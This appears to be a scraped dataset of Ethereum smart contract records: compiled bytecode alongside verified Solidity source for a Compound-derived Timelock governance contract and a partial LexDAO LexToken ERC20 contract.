fffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116195750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61166e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117086025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ef0245173e00007656c17c3d42727719150a8bfbddc61d54a6381569b956277364736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,861
0x5b82025d036a32ac8eaf611796733a81e8ecaa8a
pragma solidity 0.6.12; // SPDX-License-Identifier: MIT /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* website: vox.finance _ ______ _ __ ___________ _____ _ ______________ | | / / __ \ |/ / / ____/ _/ | / / | / | / / ____/ ____/ | | / / / / / / / /_ / // |/ / /| | / |/ / / / __/ | |/ / /_/ / |_ / __/ _/ // /| / ___ |/ /| / /___/ /___ |___/\____/_/|_(_)_/ /___/_/ |_/_/ |_/_/ |_/\____/_____/ */ // File: contracts/Timelock.sol // COPIED FROM https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/GovernorAlpha.sol // Copyright 2020 Compound Labs, Inc. // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // Ctrl+f for XXX to see all the modifications. contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 12 hours; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; bool public admin_initialized; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) public { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::constructor: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; admin_initialized = false; } // XXX: function() external payable { } receive() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { // allows one time setting of admin for deployment purposes if (admin_initialized) { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); } else { require(msg.sender == admin, "Timelock::setPendingAdmin: First call must come from admin."); admin_initialized = true; } pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call{value: value}(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } }
0x6080604052600436106100e15760003560e01c80636fc1f57e1161007f578063c1a287e211610059578063c1a287e21461077d578063e177246e146107a8578063f2b06537146107e3578063f851a44014610834576100e8565b80636fc1f57e146106fa5780637d645fab14610727578063b1b43ae514610752576100e8565b80633a66f901116100bb5780633a66f901146103445780634dd18bf5146104eb578063591fcdfe1461053c5780636a42b8f8146106cf576100e8565b80630825f38f146100ed5780630e18b681146102ec5780632678224714610303576100e8565b366100e857005b600080fd5b610271600480360360a081101561010357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561014a57600080fd5b82018360208201111561015c57600080fd5b8035906020019184600183028401116401000000008311171561017e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156101e157600080fd5b8201836020820111156101f357600080fd5b8035906020019184600183028401116401000000008311171561021557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610875565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102b1578082015181840152602081019050610296565b50505050905090810190601f1680156102de5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102f857600080fd5b50610301610ec0565b005b34801561030f57600080fd5b5061031861104d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561035057600080fd5b506104d5600480360360a081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156103ae57600080fd5b8201836020820111156103c057600080fd5b803590602001918460018302840111640100000000831117156103e257600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561044557600080fd5b82018360208201111561045757600080fd5b8035906020019184600183028401116401000000008311171561047957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050611073565b6040518082815260200191505060405180910390f35b3480156104f757600080fd5b5061053a6004803603602081101561050e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611423565b005b34801561054857600080fd5b506106cd600480360360a081101561055f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156105a657600080fd5b8201836020820111156105b857600080fd5b803590602001918460018302840111640100000000831117156105da57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561063d57600080fd5b82018360208201111561064f57600080fd5b8035906020019184600183028401116401000000008311171561067157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019092919050505061162a565b005b3480156106db57600080fd5b506106e461195e565b6040518082815260200191505060405180910390f35b34801561070657600080fd5b5061070f611964565b60405180821515815260200191505060405180910390f35b34801561073357600080fd5b5061073c611977565b6040518082815260200191505060405180910390f35b34801561075e57600080fd5b5061076761197e565b6040518082815260200191505060405180910390f35b34801561078957600080fd5b50610792611984565b6040518082815260200191505060405180910390f35b3480156107b457600080fd5b506107e1600480360360208110156107cb57600080fd5b810190808035906020019092919050505061198b565b005b3480156107ef57600080fd5b5061081c6004803603602081101561080657600080fd5b8101908080359060200190929190505050611aff565b60405180821515815260200191505060405180910390f35b34801561084057600080fd5b50610849611b1f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b606060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461091b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611bd46038913960400191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610991578082015181840152602081019050610976565b50505050905090810190601f1680156109be5780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156109f75780820151818401526020810190506109dc565b50505050905090810190601f168015610a245780820380516001836020036101000a031916815260200191505b509750505050505050506040516020818303038152906040528051906020012090506004600082815260200190815260200160002060009054906101000a900460ff16610abc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180611d62603d913960400191505060405180910390fd5b82610ac5611b43565b1015610b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526045815260200180611c766045913960600191505060405180910390fd5b610b326212750084611b4b90919063ffffffff16565b610b3a611b43565b1115610b91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526033815260200180611c436033913960400191505060405180910390fd5b60006004600083815260200190815260200160002060006101000a81548160ff0219169083151502179055506060600086511415610bd157849050610c6d565b85805190602001208560405160200180837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260040182805190602001908083835b60208310610c355780518252602082019150602081019050602083039250610c12565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b600060608973ffffffffffffffffffffffffffffffffffffffff1689846040518082805190602001908083835b60208310610cbd5780518252602082019150602081019050602083039250610c9a565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610d1f576040519150601f19603f3d011682016040523d82523d6000602084013e610d24565b606091505b509150915081610d7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180611e45603d913960400191505060405180910390fd5b8973ffffffffffffffffffffffffffffffffffffffff16847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610e0c578082015181840152602081019050610df1565b50505050905090810190601f168015610e395780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b83811015610e72578082015181840152602081019050610e57565b50505050905090810190601f168015610e9f5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a38094505050505095945050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611d9f6038913960400191505060405180910390fd5b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c60405160405180910390a2565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461111a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180611e0f6036913960400191505060405180910390fd5b611136600254611128611b43565b611b4b90919063ffffffff16565b82101561118e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526049815260200180611e826049913960600191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156112045780820151818401526020810190506111e9565b50505050905090810190601f1680156112315780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b8381101561126a57808201518184015260208101905061124f565b50505050905090810190601f1680156112975780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016004600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508673ffffffffffffffffffffffffffffffffffffffff16817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015611372578082015181840152602081019050611357565b50505050905090810190601f16801561139f5780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156113d85780820151818401526020810190506113bd565b50505050905090810190601f1680156114055780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a38091505095945050505050565b600360009054906101000a900460ff16156114c1573073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114bc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611dd76038913960400191505060405180910390fd5b611581565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611565576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b815260200180611cef603b913960400191505060405180910390fd5b6001600360006101000a81548160ff0219169083151502179055505b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75660405160405180910390a250565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116ce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526037815260200180611c0c6037913960400191505060405180910390fd5b60008585858585604051602001808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015611744578082015181840152602081019050611729565b50505050905090810190601f1680156117715780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156117aa57808201518184015260208101905061178f565b50505050905090810190601f1680156117d75780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006004600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508573ffffffffffffffffffffffffffffffffffffffff16817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156118b2578082015181840152602081019050611897565b50505050905090810190601f1680156118df5780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156119185780820151818401526020810190506118fd565b50505050905090810190601f1680156119455780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b600360009054906101000a900460ff1681565b62278d0081565b61a8c081565b6212750081565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180611ecb6031913960400191505060405180910390fd5b61a8c0811015611a6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526034815260200180611cbb6034913960400191505060405180910390fd5b62278d00811115611ac6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611d2a6038913960400191505060405180910390fd5b806002819055506002547f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c60405160405180910390a250565b60046020528060005260406000206000915054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600042905090565b600080828401905083811015611bc9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2046697273742063616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea26469706673582212202ab058828f359a8b312a8f54108f30201a43778212befcd1c4641017dc6c216f64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,862
0x99995432b90059d6fb14a39033d8f1e159b6c6ab
/* β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•— β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β•β•β•β•β•šβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β• β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β•šβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β•β• β–ˆβ–ˆβ•”β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β• β–ˆβ–ˆβ•— β•šβ•β•β•β•β•β•β•β•šβ•β•β•β•β•β•β•β•šβ•β• β•šβ•β• β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•— β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•— β•šβ•β•β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β•β•β• β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•‘ β•šβ•β• β•šβ•β•β•β•β•β• β•šβ•β• β•šβ•β•β•šβ•β•β•β•β•β•β•β•šβ•β• β•šβ•β•β•β• DEAR MSG.SENDER(S): / LexToken is a project in beta. // Please audit and use at your own risk. /// Entry into LexToken shall not create an attorney/client relationship. //// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel. ///// STEAL THIS C0D3SL4W ////// presented by LexDAO LLC */ // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.7.4; interface IERC20 { // brief interface for erc20 token function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); } library SafeMath { // arithmetic wrapper for unit under/overflow check function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } } contract LexToken { using SafeMath for uint256; address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager uint256 public totalSupplyCap; // maximum of token mintable bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature string public details; // details token offering, redemption, etc. - updateable by manager string public name; // fixed token name string[]public offers; // offers made for token redemption - updateable by manager string public symbol; // fixed token symbol bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern bool public transferable; // transferability of token - does not affect token sale - updateable by manager mapping(address => mapping(address => uint256)) public allowances; mapping(address => uint256) public balanceOf; mapping(address => uint256) public nonces; event AddOffer(uint256 index, string terms); event AmendOffer(uint256 index, string terms); event Approval(address indexed owner, address indexed spender, uint256 value); event Redeem(string redemption); event Transfer(address indexed from, address indexed to, uint256 value); event UpdateGovernance(address indexed manager, string details); event UpdateSale(uint256 saleRate, uint256 saleSupply, bool burnToken, bool forSale); event UpdateTransferability(bool transferable); function init( address payable _manager, uint8 _decimals, uint256 _managerSupply, uint256 _saleRate, uint256 _saleSupply, uint256 _totalSupplyCap, string calldata _details, string calldata _name, string calldata _symbol, bool _forSale, bool _transferable ) external { require(!initialized, "initialized"); manager = _manager; decimals = _decimals; saleRate = _saleRate; totalSupplyCap = _totalSupplyCap; details = _details; name = _name; symbol = _symbol; forSale = _forSale; initialized = true; transferable = _transferable; if (_managerSupply > 0) {_mint(_manager, _managerSupply);} if (_saleSupply > 0) {_mint(address(this), _saleSupply);} if (_forSale) {require(_saleRate > 0, "_saleRate = 0");} // eip-2612 permit() pattern: uint256 chainId; assembly {chainId := chainid()} DOMAIN_SEPARATOR = keccak256(abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this))); } function _approve(address owner, address spender, uint256 value) internal { allowances[owner][spender] = value; emit Approval(owner, spender, value); } function approve(address spender, uint256 value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function _burn(address from, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function burn(uint256 value) external { _burn(msg.sender, value); } function 